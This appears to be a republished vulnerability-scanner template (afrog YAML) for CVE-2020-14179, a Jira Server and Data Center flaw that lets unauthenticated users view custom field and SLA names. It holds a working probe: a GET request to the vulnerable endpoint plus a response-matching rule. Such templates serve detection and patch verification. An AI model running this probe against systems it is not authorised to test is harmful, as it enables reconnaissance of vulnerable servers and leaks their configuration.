CVE-2020-14179: Jira Information Disclosure

2025-08-01 Jira PoC Public

Description

Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.

PoC

id: CVE-2020-14179

info:
  name: Jira Information Disclosure
  author: harris2015
  severity: medium
  description: |-
    Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14179
  tags: cve,cve2020,jira,disclosure
  created: 2024/04/18

rules:
  r0:
    request:
      method: GET
      path: /secure/QueryComponent!Default.jspa
    expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"com.atlassian.jira")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2020/CVE-2020-14179.yaml

References

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